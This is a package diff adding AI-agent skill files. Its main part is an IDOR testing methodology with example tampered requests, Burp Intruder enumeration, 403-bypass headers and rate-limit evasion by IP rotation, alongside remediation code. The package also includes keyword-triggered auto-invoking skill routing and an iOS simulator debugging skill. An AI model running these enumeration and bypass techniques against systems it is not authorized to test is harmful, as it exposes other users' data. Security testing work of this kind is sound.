codehava-agent-kit 1.0.0 → 2.0.0

package/templates/.agent/skills/idor-testing/SKILL.md

@@ -0,0 +1,446 @@
+---
+name: idor-testing
+description: "Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications."
+risk: unknown
+source: community
+author: zebbern
+date_added: "2026-02-27"
+---
+
+# IDOR Vulnerability Testing
+
+## Purpose
+
+Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.
+
+## Inputs / Prerequisites
+
+- **Target Web Application**: URL of application with user-specific resources
+- **Multiple User Accounts**: At least two test accounts to verify cross-user access
+- **Burp Suite or Proxy Tool**: Intercepting proxy for request manipulation
+- **Authorization**: Written permission for security testing
+- **Understanding of Application Flow**: Knowledge of how objects are referenced (IDs, filenames)
+
+## Outputs / Deliverables
+
+- **IDOR Vulnerability Report**: Documentation of discovered access control bypasses
+- **Proof of Concept**: Evidence of unauthorized data access across user contexts
+- **Affected Endpoints**: List of vulnerable API endpoints and parameters
+- **Impact Assessment**: Classification of data exposure severity
+- **Remediation Recommendations**: Specific fixes for identified vulnerabilities
+
+## Core Workflow
+
+### 1. Understand IDOR Vulnerability Types
+
+#### Direct Reference to Database Objects
+Occurs when applications reference database records via user-controllable parameters:
+```
+# Original URL (authenticated as User A)
+example.com/user/profile?id=2023
+
+# Manipulation attempt (accessing User B's data)
+example.com/user/profile?id=2022
+```
+
+#### Direct Reference to Static Files
+Occurs when applications expose file paths or names that can be enumerated:
+```
+# Original URL (User A's receipt)
+example.com/static/receipt/205.pdf
+
+# Manipulation attempt (User B's receipt)
+example.com/static/receipt/200.pdf
+```
+
+### 2. Reconnaissance and Setup
+
+#### Create Multiple Test Accounts
+```
+Account 1: "attacker" - Primary testing account
+Account 2: "victim" - Account whose data we attempt to access
+```
+
+#### Identify Object References
+Capture and analyze requests containing:
+- Numeric IDs in URLs: `/api/user/123`
+- Numeric IDs in parameters: `?id=123&action=view`
+- Numeric IDs in request body: `{"userId": 123}`
+- File paths: `/download/receipt_123.pdf`
+- GUIDs/UUIDs: `/profile/a1b2c3d4-e5f6-...`
+
+#### Map User IDs
+```
+# Access user ID endpoint (if available)
+GET /api/user-id/
+
+# Note ID patterns:
+# - Sequential integers (1, 2, 3...)
+# - Auto-incremented values
+# - Predictable patterns
+```
+
+### 3. Detection Techniques
+
+#### URL Parameter Manipulation
+```
+# Step 1: Capture original authenticated request
+GET /api/user/profile?id=1001 HTTP/1.1
+Cookie: session=attacker_session
+
+# Step 2: Modify ID to target another user
+GET /api/user/profile?id=1000 HTTP/1.1
+Cookie: session=attacker_session
+
+# Vulnerable if: Returns victim's data with attacker's session
+```
+
+#### Request Body Manipulation
+```
+# Original POST request
+POST /api/address/update HTTP/1.1
+Content-Type: application/json
+Cookie: session=attacker_session
+
+{"id": 5, "userId": 1001, "address": "123 Attacker St"}
+
+# Modified request targeting victim
+{"id": 5, "userId": 1000, "address": "123 Attacker St"}
+```
+
+#### HTTP Method Switching
+```
+# Original GET request may be protected
+GET /api/admin/users/1000 → 403 Forbidden
+
+# Try alternative methods
+POST /api/admin/users/1000 → 200 OK (Vulnerable!)
+PUT /api/admin/users/1000 → 200 OK (Vulnerable!)
+```
+
+### 4. Exploitation with Burp Suite
+
+#### Manual Exploitation
+```
+1. Configure browser proxy through Burp Suite
+2. Login as "attacker" user
+3. Navigate to profile/data page
+4. Enable Intercept in Proxy tab
+5. Capture request with user ID
+6. Modify ID to victim's ID
+7. Forward request
+8. Observe response for victim's data
+```
+
+#### Automated Enumeration with Intruder
+```
+1. Send request to Intruder (Ctrl+I)
+2. Clear all payload positions
+3. Select ID parameter as payload position
+4. Configure attack type: Sniper
+5. Payload settings:
+   - Type: Numbers
+   - Range: 1 to 10000
+   - Step: 1
+6. Start attack
+7. Analyze responses for 200 status codes
+```
+
+#### Battering Ram Attack for Multiple Positions
+```
+# When same ID appears in multiple locations
+PUT /api/addresses/§5§/update HTTP/1.1
+
+{"id": §5§, "userId": 3}
+
+Attack Type: Battering Ram
+Payload: Numbers 1-1000
+```
+
+### 5. Common IDOR Locations
+
+#### API Endpoints
+```
+/api/user/{id}
+/api/profile/{id}
+/api/order/{id}
+/api/invoice/{id}
+/api/document/{id}
+/api/message/{id}
+/api/address/{id}/update
+/api/address/{id}/delete
+```
+
+#### File Downloads
+```
+/download/invoice_{id}.pdf
+/static/receipts/{id}.pdf
+/uploads/documents/{filename}
+/files/reports/report_{date}_{id}.xlsx
+```
+
+#### Query Parameters
+```
+?userId=123
+?orderId=456
+?documentId=789
+?file=report_123.pdf
+?account=user@email.com
+```
+
+## Quick Reference
+
+### IDOR Testing Checklist
+
+| Test | Method | Indicator of Vulnerability |
+|------|--------|---------------------------|
+| Increment/Decrement ID | Change `id=5` to `id=4` | Returns different user's data |
+| Use Victim's ID | Replace with known victim ID | Access granted to victim's resources |
+| Enumerate Range | Test IDs 1-1000 | Find valid records of other users |
+| Negative Values | Test `id=-1` or `id=0` | Unexpected data or errors |
+| Large Values | Test `id=99999999` | System information disclosure |
+| String IDs | Change format `id=user_123` | Logic bypass |
+| GUID Manipulation | Modify UUID portions | Predictable UUID patterns |
+
+### Response Analysis
+
+| Status Code | Interpretation |
+|-------------|----------------|
+| 200 OK | Potential IDOR - verify data ownership |
+| 403 Forbidden | Access control working |
+| 404 Not Found | Resource doesn't exist |
+| 401 Unauthorized | Authentication required |
+| 500 Error | Potential input validation issue |
+
+### Common Vulnerable Parameters
+
+| Parameter Type | Examples |
+|----------------|----------|
+| User identifiers | `userId`, `uid`, `user_id`, `account` |
+| Resource identifiers | `id`, `pid`, `docId`, `fileId` |
+| Order/Transaction | `orderId`, `transactionId`, `invoiceId` |
+| Message/Communication | `messageId`, `threadId`, `chatId` |
+| File references | `filename`, `file`, `document`, `path` |
+
+## Constraints and Limitations
+
+### Operational Boundaries
+- Requires at least two valid user accounts for verification
+- Some applications use session-bound tokens instead of IDs
+- GUID/UUID references harder to enumerate but not impossible
+- Rate limiting may restrict enumeration attempts
+- Some IDOR requires chained vulnerabilities to exploit
+
+### Detection Challenges
+- Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin)
+- Blind IDOR where response doesn't confirm access
+- Time-based IDOR in asynchronous operations
+- IDOR in websocket communications
+
+### Legal Requirements
+- Only test applications with explicit authorization
+- Document all testing activities and findings
+- Do not access, modify, or exfiltrate real user data
+- Report findings through proper disclosure channels
+
+## Examples
+
+### Example 1: Basic ID Parameter IDOR
+```
+# Login as attacker (userId=1001)
+# Navigate to profile page
+
+# Original request
+GET /api/profile?id=1001 HTTP/1.1
+Cookie: session=abc123
+
+# Response: Attacker's profile data
+
+# Modified request (targeting victim userId=1000)
+GET /api/profile?id=1000 HTTP/1.1
+Cookie: session=abc123
+
+# Vulnerable Response: Victim's profile data returned!
+```
+
+### Example 2: IDOR in Address Update Endpoint
+```
+# Intercept address update request
+PUT /api/addresses/5/update HTTP/1.1
+Content-Type: application/json
+Cookie: session=attacker_session
+
+{
+  "id": 5,
+  "userId": 1001,
+  "street": "123 Main St",
+  "city": "Test City"
+}
+
+# Modify userId to victim's ID
+{
+  "id": 5,
+  "userId": 1000,  # Changed from 1001
+  "street": "Hacked Address",
+  "city": "Exploit City"
+}
+
+# If 200 OK: Address created under victim's account
+```
+
+### Example 3: Static File IDOR
+```
+# Download own receipt
+GET /api/download/5 HTTP/1.1
+Cookie: session=attacker_session
+
+# Response: PDF of attacker's receipt (order #5)
+
+# Attempt to access other receipts
+GET /api/download/3 HTTP/1.1
+Cookie: session=attacker_session
+
+# Vulnerable Response: PDF of victim's receipt (order #3)!
+```
+
+### Example 4: Burp Intruder Enumeration
+```
+# Configure Intruder attack
+Target: PUT /api/addresses/§1§/update
+Payload Position: Address ID in URL and body
+
+Attack Configuration:
+- Type: Battering Ram
+- Payload: Numbers 0-20, Step 1
+
+Body Template:
+{
+  "id": §1§,
+  "userId": 3
+}
+
+# Analyze results:
+# - 200 responses indicate successful modification
+# - Check victim's account for new addresses
+```
+
+### Example 5: Horizontal to Vertical Escalation
+```
+# Step 1: Enumerate user roles
+GET /api/user/1 → {"role": "user", "id": 1}
+GET /api/user/2 → {"role": "user", "id": 2}
+GET /api/user/3 → {"role": "admin", "id": 3}
+
+# Step 2: Access admin functions with discovered ID
+GET /api/admin/dashboard?userId=3 HTTP/1.1
+Cookie: session=regular_user_session
+
+# If accessible: Vertical privilege escalation achieved
+```
+
+## Troubleshooting
+
+### Issue: All Requests Return 403 Forbidden
+**Cause**: Server-side access control is implemented
+**Solution**:
+```
+# Try alternative attack vectors:
+1. HTTP method switching (GET → POST → PUT)
+2. Add X-Original-URL or X-Rewrite-URL headers
+3. Try parameter pollution: ?id=1001&id=1000
+4. URL encoding variations: %31%30%30%30 for "1000"
+5. Case variations for string IDs
+```
+
+### Issue: Application Uses UUIDs Instead of Sequential IDs
+**Cause**: Randomized identifiers reduce enumeration risk
+**Solution**:
+```
+# UUID discovery techniques:
+1. Check response bodies for leaked UUIDs
+2. Search JavaScript files for hardcoded UUIDs
+3. Check API responses that list multiple objects
+4. Look for UUID patterns in error messages
+5. Try UUID v1 (time-based) prediction if applicable
+```
+
+### Issue: Session Token Bound to User
+**Cause**: Application validates session against requested resource
+**Solution**:
+```
+# Advanced bypass attempts:
+1. Test for IDOR in unauthenticated endpoints
+2. Check password reset/email verification flows
+3. Look for IDOR in file upload/download
+4. Test API versioning: /api/v1/ vs /api/v2/
+5. Check mobile API endpoints (often less protected)
+```
+
+### Issue: Rate Limiting Blocks Enumeration
+**Cause**: Application implements request throttling
+**Solution**:
+```
+# Bypass techniques:
+1. Add delays between requests (Burp Intruder throttle)
+2. Rotate IP addresses (proxy chains)
+3. Target specific high-value IDs instead of full range
+4. Use different endpoints for same resources
+5. Test during off-peak hours
+```
+
+### Issue: Cannot Verify IDOR Impact
+**Cause**: Response doesn't clearly indicate data ownership
+**Solution**:
+```
+# Verification methods:
+1. Create unique identifiable data in victim account
+2. Look for PII markers (name, email) in responses
+3. Compare response lengths between users
+4. Check for timing differences in responses
+5. Use secondary indicators (creation dates, metadata)
+```
+
+## Remediation Guidance
+
+### Implement Proper Access Control
+```python
+# Django example - validate ownership
+def update_address(request, address_id):
+    address = Address.objects.get(id=address_id)
+    
+    # Verify ownership before allowing update
+    if address.user != request.user:
+        return HttpResponseForbidden("Unauthorized")
+    
+    # Proceed with update
+    address.update(request.data)
+```
+
+### Use Indirect References
+```python
+# Instead of: /api/address/123
+# Use: /api/address/current-user/billing
+
+def get_address(request):
+    # Always filter by authenticated user
+    address = Address.objects.filter(user=request.user).first()
+    return address
+```
+
+### Server-Side Validation
+```python
+# Always validate on server, never trust client input
+def download_receipt(request, receipt_id):
+    receipt = Receipt.objects.filter(
+        id=receipt_id,
+        user=request.user  # Critical: filter by current user
+    ).first()
+    
+    if not receipt:
+        return HttpResponseNotFound()
+    
+    return FileResponse(receipt.file)
+```
+
+## When to Use
+This skill is applicable to execute the workflow or actions described in the overview.

package/templates/.agent/skills/intelligent-routing/SKILL.md

@@ -31,72 +31,69 @@ graph TD
     G --> H[AUTO-INVOKE with context]
 ```
 
-### 2. Agent Selection Matrix
-
-**Use this matrix to automatically select agents:**
-
-| User Intent         | Keywords                                   | Selected Agent(s)                           | Auto-invoke? |
-| ------------------- | ------------------------------------------ | ------------------------------------------- | ------------ |
-| **Authentication**  | "login", "auth", "signup", "password"      | `security-auditor` + `backend-specialist`   | ✅ YES       |
-| **UI Component**    | "button", "card", "layout", "style"        | `frontend-specialist`                       | ✅ YES       |
-| **Mobile UI**       | "screen", "navigation", "touch", "gesture" | `mobile-developer`                          | ✅ YES       |
-| **API Endpoint**    | "endpoint", "route", "API", "POST", "GET"  | `backend-specialist`                        | ✅ YES       |
-| **Database**        | "schema", "migration", "query", "table"    | `database-architect` + `backend-specialist` | ✅ YES       |
-| **Bug Fix**         | "error", "bug", "not working", "broken"    | `debugger`                                  | ✅ YES       |
-| **Test**            | "test", "coverage", "unit", "e2e"          | `test-engineer`                             | ✅ YES       |
-| **Deployment**      | "deploy", "production", "CI/CD", "docker"  | `devops-engineer`                           | ✅ YES       |
-| **Security Review** | "security", "vulnerability", "exploit"     | `security-auditor` + `penetration-tester`   | ✅ YES       |
-| **Performance**     | "slow", "optimize", "performance", "speed" | `performance-optimizer`                     | ✅ YES       |
-| **Product Def**     | "requirements", "user story", "backlog", "MVP" | `product-owner`                             | ✅ YES       |
-| **New Feature**     | "build", "create", "implement", "new app"  | `orchestrator` → multi-agent                | ⚠️ ASK FIRST |
-| **Complex Task**    | Multiple domains detected                  | `orchestrator` → multi-agent                | ⚠️ ASK FIRST |
-
-### 3. Automatic Routing Protocol
-
-## TIER 0 - Automatic Analysis (ALWAYS ACTIVE)
+### 2. Auto-Discovery Search Protocol (1300+ Skills)
+
+**Do NOT rely on a static matrix because there are over 1300 skills in the `.agent/skills/` directory.**
+
+Instead, use a Keyword-Based Search Protocol to automatically find the right skill:
+
+| User Intent Example | Keywords Triggered | Search Query Example | Auto-invoke? |
+| ------------------- | ------------------ | -------------------- | ------------ |
+| **Authentication**  | login, auth, signup| `find .agent/skills -name '*auth*' -o -name '*login*'` | ✅ YES |
+| **SEO Audit**       | seo, rank, meta    | `find .agent/skills -name '*seo*'` | ✅ YES |
+| **Mobile UI**       | react native, mobile| `find .agent/skills -name '*mobile*'` | ✅ YES |
+| **AWS Deployment**  | aws, deploy, serverless | `find .agent/skills -name '*aws*'` | ✅ YES |
+| **Bug Fix**         | error, stack trace | `find .agent/skills -name '*debug*'` | ✅ YES (or Auto-Recover) |
+
+### 3. Vibe Coding Workflow Integration (Skill Chaining)
+
+For non-programmers asking to build a feature or an app from scratch (Complex Task):
+**NEVER jump straight to code.**
+
+1. **Auto-invoke: `vibe-prd`** (Create product specification naturally)
+2. **Auto-invoke: `vibe-techdesign`** (Map architecture silently)
+3. **Auto-invoke: Developer skill** (Generate code using the discovered specialized framework skill)
+
+## TIER 0 - Auto-Discovery Engine (ALWAYS ACTIVE)
 
 Before responding to ANY request:
 
 ```javascript
 // Pseudo-code for decision tree
-function analyzeRequest(userMessage) {
-    // 1. Classify request type
-    const requestType = classifyRequest(userMessage);
+function analyzeAndRoute(userMessage) {
+    // 1. Detect domain keywords from message
+    const keywords = extractKeywords(userMessage);
 
-    // 2. Detect domains
-    const domains = detectDomains(userMessage);
+    // 2. Search local directory for matching skill
+    const matchedSkills = searchLocalSkillsDirectory(keywords);
 
-    // 3. Determine complexity
-    const complexity = assessComplexity(domains);
+    // 3. Select best skill
+    const bestSkill = selectBestMatch(matchedSkills);
 
-    // 4. Select agent(s)
-    if (complexity === "SIMPLE" && domains.length === 1) {
-        return selectSingleAgent(domains[0]);
-    } else if (complexity === "MODERATE" && domains.length <= 2) {
-        return selectMultipleAgents(domains);
+    // 4. If Complex feature building -> USE SKILL CHAINING
+    if (isNewFeatureBuild(userMessage)) {
+        chainSkills(["vibe-prd", "vibe-techdesign", bestSkill]);
     } else {
-        return "orchestrator"; // Complex task
+        invokeSkill(bestSkill);
     }
 }
 ```
 
 ## 4. Response Format
 
-**When auto-selecting an agent, inform the user concisely:**
+**When auto-selecting a skill from the 1300+ library, inform the user concisely:**
 
 ```markdown
-🤖 **Applying knowledge of `@security-auditor` + `@backend-specialist`...**
+🤖 **Auto-Discovery: Mendeteksi dan mengaktifkan skill `@[nama-skill-yg-ditemukan]`...**
 
 [Proceed with specialized response]
 ```
 
-**Benefits:**
-
-- ✅ User sees which expertise is being applied
-- ✅ Transparent decision-making
-- ✅ Still automatic (no /commands needed)
+**Benefits for Vibe Coding:**
 
-## Domain Detection Rules
+- ✅ User doesn't need to memorize 1300+ skill names.
+- ✅ Transparent decision-making.
+- ✅ AI naturally shifts personas.
 
 ### Single-Domain Tasks (Auto-invoke Single Agent)
 

package/templates/.agent/skills/ios-debugger-agent/SKILL.md

@@ -0,0 +1,59 @@
+---
+name: ios-debugger-agent
+description: Debug the current iOS project on a booted simulator with XcodeBuildMCP.
+risk: safe
+source: "Dimillian/Skills (MIT)"
+date_added: "2026-03-25"
+---
+
+# iOS Debugger Agent
+
+## Overview
+Use XcodeBuildMCP to build and run the current project scheme on a booted iOS simulator, interact with the UI, and capture logs. Prefer the MCP tools for simulator control, logs, and view inspection.
+
+## When to Use
+
+- When the user asks to run, debug, or inspect an iOS app on a simulator.
+- When you need simulator UI interaction, screenshots, or runtime logs via XcodeBuildMCP.
+
+## Core Workflow
+Follow this sequence unless the user asks for a narrower action.
+
+### 1) Discover the booted simulator
+- Call `mcp__XcodeBuildMCP__list_sims` and select the simulator with state `Booted`.
+- If none are booted, ask the user to boot one (do not boot automatically unless asked).
+
+### 2) Set session defaults
+- Call `mcp__XcodeBuildMCP__session-set-defaults` with:
+  - `projectPath` or `workspacePath` (whichever the repo uses)
+  - `scheme` for the current app
+  - `simulatorId` from the booted device
+  - Optional: `configuration: "Debug"`, `useLatestOS: true`
+
+### 3) Build + run (when requested)
+- Call `mcp__XcodeBuildMCP__build_run_sim`.
+- **If the build fails**, check the error output and retry (optionally with `preferXcodebuild: true`) or escalate to the user before attempting any UI interaction.
+- **After a successful build**, verify the app launched by calling `mcp__XcodeBuildMCP__describe_ui` or `mcp__XcodeBuildMCP__screenshot` before proceeding to UI interaction.
+- If the app is already built and only launch is requested, use `mcp__XcodeBuildMCP__launch_app_sim`.
+- If bundle id is unknown:
+  1) `mcp__XcodeBuildMCP__get_sim_app_path`
+  2) `mcp__XcodeBuildMCP__get_app_bundle_id`
+
+## UI Interaction & Debugging
+Use these when asked to inspect or interact with the running app.
+
+- **Describe UI**: `mcp__XcodeBuildMCP__describe_ui` before tapping or swiping.
+- **Tap**: `mcp__XcodeBuildMCP__tap` (prefer `id` or `label`; use coordinates only if needed).
+- **Type**: `mcp__XcodeBuildMCP__type_text` after focusing a field.
+- **Gestures**: `mcp__XcodeBuildMCP__gesture` for common scrolls and edge swipes.
+- **Screenshot**: `mcp__XcodeBuildMCP__screenshot` for visual confirmation.
+
+## Logs & Console Output
+- Start logs: `mcp__XcodeBuildMCP__start_sim_log_cap` with the app bundle id.
+- Stop logs: `mcp__XcodeBuildMCP__stop_sim_log_cap` and summarize important lines.
+- For console output, set `captureConsole: true` and relaunch if required.
+
+## Troubleshooting
+- If build fails, ask whether to retry with `preferXcodebuild: true`.
+- If the wrong app launches, confirm the scheme and bundle id.
+- If UI elements are not hittable, re-run `describe_ui` after layout changes.

package/templates/.agent/skills/ios-debugger-agent/agents/openai.yaml

@@ -0,0 +1,4 @@
+interface:
+  display_name: "iOS Debugger Agent"
+  short_description: "Debug iOS apps on Simulator"
+  default_prompt: "Use $ios-debugger-agent to build, launch, and inspect the current iOS app on the booted simulator."